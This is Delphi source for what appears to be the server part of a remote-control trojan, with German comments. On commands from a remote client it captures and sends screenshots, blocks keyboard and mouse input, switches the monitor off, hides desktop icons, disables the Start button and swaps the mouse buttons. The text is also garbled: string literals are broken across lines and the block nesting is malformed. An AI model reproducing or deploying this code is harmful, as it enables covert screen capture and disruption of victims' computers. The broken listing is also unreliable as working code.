unit serve;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ScktComp, StdCtrls, Shellapi,mmsystem, ExtCtrls, IdBaseComponent,
IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdCustomTCPServer,
IdTCPServer, IdCmdTCPServer, tlhelp32, JPEG, strutils;
type
TForm1 =
class(TForm)
Server: TServerSocket;
procedure ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
private
{ Private-Deklarationen }
public
{ Public-Deklarationen }
end;
var
Form1: TForm1;
dc: HDC;
DestopWindowHandle: hWND;
Bmp : TBitmap;
Jpeg : TJpegimage;
empfangen:
string;
implementation
{$R *.dfm}
procedure GetProcessList(
const aProcessList: TStrings);
var
Snap: THandle;
ProcessE: TProcessEntry32;
begin
aProcessList.Clear;
Snap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
try
ProcessE.dwSize := SizeOf(ProcessE);
if Process32First(Snap, ProcessE)
then
Repeat
aProcessList.Add(ProcessE.szExeFile);
Until not Process32Next(Snap, ProcessE)
else
RaiseLastOSError;
finally
CloseHandle(Snap);
end;
end;
procedure SetStartBtnEnabled(
const AEnabled: Boolean);
begin
EnableWindow(FindWindowEx(FindWindow('
Shell_TrayWnd',
nil),
0,
'
Button',
nil),
AEnabled);
end;
Function BlockInput(fBlock: boolean): boolean;
stdcall;
external '
user32.dll';
procedure SwapMouseButtons(
const ASwap: Boolean);
begin
if ASwap
then
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,1,
Nil, 0)
else
SystemParametersInfo(SPI_SETMOUSEBUTTONSWAP,0,
Nil, 0);
end;
procedure ScreenShot(
const Bitmap: TBitmap);
var
DesktopDC: HDC;
begin
DesktopDC := CreateDC('
DISPLAY',
nil,
nil,
nil);
try
Bitmap.PixelFormat := pfDevice;
Bitmap.Width := Screen.Width;
Bitmap.Height := Screen.Height;
BitBlt(Bitmap.Canvas.Handle, 0, 0, Screen.Width, Screen.Height, DesktopDC, 0, 0, SRCCOPY);
finally
DeleteDC(DesktopDC);
end;
end;
var
sM : TMemoryStream;
procedure TForm1.ServerClientRead(Sender: TObject; Socket: TCustomWinSocket);
var exec:
string;
begin
exec := Socket.ReceiveText;
if leftstr(exec,length('
Screenshot'))='
Screenshot'
then begin
FreeAndNil(sM);
Bmp:=TBitmap.Create;
Jpeg:=TJpegImage.Create;
sM:=TMemoryStream.Create;
try
ScreenShot(bmp);
Jpeg.CompressionQuality:=strtoint(rightstr(exec,length(exec)-length('
Screenshot')));
Jpeg.Assign(Bmp);
Jpeg.SaveToStream(sM);
finally
Jpeg.Free;
Bmp.Free;
Form1.Server.socket.SendText(IntToStr(sM.Size));
// Empfänger hat Größe erhalten, das senden der Datei wird durchgeführt
If exec='
ok'
then begin
Form1.Server.socket.SendBuf(sM.Memory^, sM.Size);
end;
begin
//////////////////////////////
//Cd Laufwerk öffnen
if exec = '
cd_open'
then begin
mciSendstring('
SET CDAUDIO DOOR OPEN WAIT',
nil, 0, Self.Handle)
end else
//CD Laufwerk schließen
if exec = '
cd_close'
then begin
mciSendstring('
SET CDAUDIO DOOR Closed WAIT',
nil, 0, Self.Handle)
end else
//Desktopfarbe umkehren
if exec = '
color'
then begin
DestopWindowHandle := GetDesktopWindow;
dc := GetWindowDC(DestopWindowHandle);
try
Invertrect(
dc, Screen.DesktopRect);
finally
ReleaseDC(DestopWindowHandle,
dc);
end end else
//Monitor Anschalten
if exec='
monitor_on'
then begin
SendMessage(Application.Handle,
WM_SYSCOMMAND, SC_MONITORPOWER, 0);
end else
//Monitor Ausschalten
if exec='
monitor_off'
then begin
SendMessage(Application.Handle,
WM_SYSCOMMAND, SC_MONITORPOWER, 1);
end else
//Start Button ausschalten
if exec='
startbtn_0'
then begin
SetStartBtnEnabled(false);
end else
//Start Button einschalten
if exec='
startbtn_1'
then begin
SetStartBtnEnabled(true);
end else
//Icons ausblenden
if exec='
icons_off'
then
ShowWindow(FindWindow(
nil,'
Program Manager'),SW_HIDE)
else
//icons einblenden
if exec='
icons_on'
then
ShowWindow(FindWindow(
nil,'
Program Manager'),SW_Show)
else
//Eingabegeräte sperren
if exec= '
block_1'
then BlockInput(true)
else
//Eingabegeräte freigeben
if exec= '
block_0'
then BlockInput(false)
else
//Maustasten tauschen
if exec= '
mouse_1'
then SwapMouseButtons(true)
else
//Maustasten zurücksetzen
if exec= '
mouse_0'
then SwapMouseButtons(false)
else
end;
end;
end;
end;
end;
end.